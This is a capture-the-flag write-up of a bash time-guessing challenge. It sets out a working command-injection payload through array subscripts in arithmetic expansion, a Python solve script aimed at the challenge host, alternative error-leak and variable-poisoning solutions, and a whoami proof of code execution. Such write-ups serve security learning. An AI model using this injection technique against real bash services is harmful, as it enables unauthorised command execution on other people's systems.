Challenge
We’re given a bash service that asks two time-related questions:
#!/bin/bashset -euo pipefailFLAG=${FLAG:-"Alpaca{*** REDACTED ***}"}
echo "[Warmup] current time (seconds)?"read t; d1=$(( t-$(date +%s) ))if (( -100 < d1 && d1 < 100 )); then echo "Well done."else echo "Hm. diff: $d1" exit 1fi
echo "[Impossible] current time (nanoseconds)?"read t; d2=$(( t-$(date +%s%N) ))if (( -100 < d2 && d2 < 100 )); then echo "The World! $FLAG"else echo "Hm. diff: $d2" exit 1fiStage 1 asks for the current epoch time in seconds with a generous ±100s tolerance — trivial.
Stage 2 asks for the current epoch time in nanoseconds with ±100ns tolerance — impossible to guess over the network.
Vulnerability
Note: I just learned about this technique of injecting commands via array subscripts in arithmetic expansion! It’s a really cool bash quirk.
The user input from read t is placed directly into bash arithmetic $(( t-... )). Bash recursively evaluates variables inside arithmetic expressions, and critically, array subscripts undergo full command substitution. This means we can achieve arbitrary command execution through the input.
The expression evaluated is:
$(( t - $(date +%s%N) ))If t contains BASH_VERSINFO[$(echo $FLAG >&2)], bash will:
- Evaluate variable
tinside arithmetic - See an array subscript and evaluate the index expression
- Execute
$(echo $FLAG >&2)as command substitution, printing the flag to stderr - socat is configured with
stderr, so the output is sent back to the client
We use BASH_VERSINFO (a built-in bash array) instead of an arbitrary name because set -u would cause an unbound variable error.
Solve Script
#!/usr/bin/env python3import socketimport time
HOST = "34.170.146.252"PORT = 23758
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((HOST, PORT))s.settimeout(5)
# Stage 1: send current epoch secondsprint(s.recv(1024).decode())s.sendall((str(int(time.time())) + "\n").encode())print(s.recv(1024).decode())
# Stage 2: bash arithmetic injection via array subscript command substitutionpayload = "BASH_VERSINFO[$(echo $FLAG >&2)]"s.sendall((payload + "\n").encode())
try: while True: data = s.recv(4096) if not data: break print(data.decode())except socket.timeout: pass
s.close()Intended Solutions
It turns out my solution was completely unintended! The challenge author detailed two other ways to solve this:
- Error Message Leak: Simply inputting
FLAGcauses bash to try interpreting the string “Alpaca{…}” as an arithmetic operator. This fails, butset -edoesn’t catch it immediately, and standard error prints:invalid arithmetic operator (error token is "Alpaca\{...\}"). The flag is right there in the error message. - Variable Poisoning (Side-Effect):
- In Stage 1, input
(d2=0)+EPOCHSECONDS. This setsd2=0as a side effect while passing the check. - In Stage 2, input
.(or any invalid syntax). This causes an error, preventingd2from being assigned a new value. d2remains0(from Stage 1), so the check-100 < 0 < 100passes, revealing the flag.
- In Stage 1, input
My array injection technique allows for arbitrary command execution (RCE), which is arguably much more powerful than the intended solutions.
ACE Demonstration
For example, injecting whoami results in nobody, proving we have code execution on the server:
[Warmup] current time (seconds)?
Well done.[Impossible] current time (nanoseconds)?
nobodyHm. diff: -1770393673170697871Flag
Alpaca{muda.sh}